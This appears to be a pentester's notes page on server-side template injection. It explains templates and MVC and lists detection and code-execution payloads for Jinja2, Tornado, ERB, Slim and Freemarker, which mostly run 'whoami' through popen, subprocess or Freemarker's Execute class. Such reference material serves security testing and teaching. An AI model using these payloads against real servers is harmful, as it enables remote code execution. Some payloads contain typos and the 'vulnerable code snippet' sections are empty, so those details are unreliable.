SSTI

Server-Side Template Injection

Server-side template injection can be used for XSS, sensitive information disclosures, and even code execution.

💡NOTE:

To understand server-side template injection you must understand templates and to understand templates you must understand the model–view–controller design pattern.

View is used to manipulate the HTML code and is normally implemented using templates.

Templates allow you to have placeholders in your HTML code where you can pass in variables.

  • Template engines can do all kinds of things such as calling functions and methods, looping over variables, and arithmetic.

  • EX: the expression “{{Title}}” will be replaced by whatever argument is passed to the template engine:

  <head>
    <title>{{Title}}</title>
  </head>

Model–view–controller design pattern

a user initiates a request to the controller -> controller uses the model to gather information from the back-end database -> information is passed back to the controller -> controller passes the information to the view the updated view is passed back to the controller -> sent to the user and rendered in the browser.

Examples of Template Engines

1. Python - Jinja 2

If you find server-side template injection in the Jinja 2 template engine the severity of your finding depends on what Python classes you have access to.

Vulnerable code snippet:

Method Resolution Order (MRO): is the order in which Python looks for a method in a hierarchy of classes.

  • For this attack, we only care about the root object class.

SSTI testing payloads:

  • {{7*7}} -> 49

  • {{7*’7’}} -> 7777777

  • {{‘’.__class__.__mro[1]}} -> get the root object by the second index in the array.

  • {{[].__class__.__base__}} -> get the root object on an empty array.

  • {{[].__class__.__mro[1]__subclasses__()}} -> list all the subclasses of a class.

For Code Execution:

  • {{[].__class__.__mro__[1].__subclasses__()[-3]('whoami',shell=True,stdout=-1).communicate()[0]}}

  • {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

2. Python - Tornado

Tornado is a scalable, non-blocking web server and web application framework written in Python.

Vulnerable code snippet:

SSTI testing payloads:

Any library available to Python is also available to the template engine, which means you can import a Python library and call it.

For Code Execution:

  • { % import os %}{{ os.popen("whoami").read() }}

  • { % import subprocess %}{{ subprocess.Popen('whoami',shell=True,stdout=-1).communicate()[0]}}

3. Ruby- ERB

Looks like a plain-text document interspersed with tags containing Ruby code.

Vulnerable code snippet:

ERB tags for embedding code:

  • <% code %> -> executes ruby code.

  • <%= code %> -> executes ruby code and returns the results.

SSTI testing payloads:

  • <%= 7 * 7 %> -> 49

  • <%= 'whoami' %>

  • <%= IO.popen('whoami').readlines() %>

  • <%= require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>

  • <%= require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

4. Ruby - Slim

Fast, lightweight templating engine with support for Rails 3 and later.

Like the ERB template engine, you can execute any ruby command you want.

Vulnerable code snippet:

SSTI testing payloads:

To execute a shell command just wrap your command in backticks.

  • #{code}

  • #{ 'whoami' }

5. Java - Freemarker

The most popular template engine for Java.

Vulnerable code snippet:

SSTI testing payloads:

The new() command is used to instantiate classes -> execute class can be used to execute shell commands.

  • ${7*7} -> 49

For Code Execution:

  • <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("whoami")}

  • [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('whoami')}

  • ${"freemarker.template.utility.Execute"?new()("whoami")}

Last updated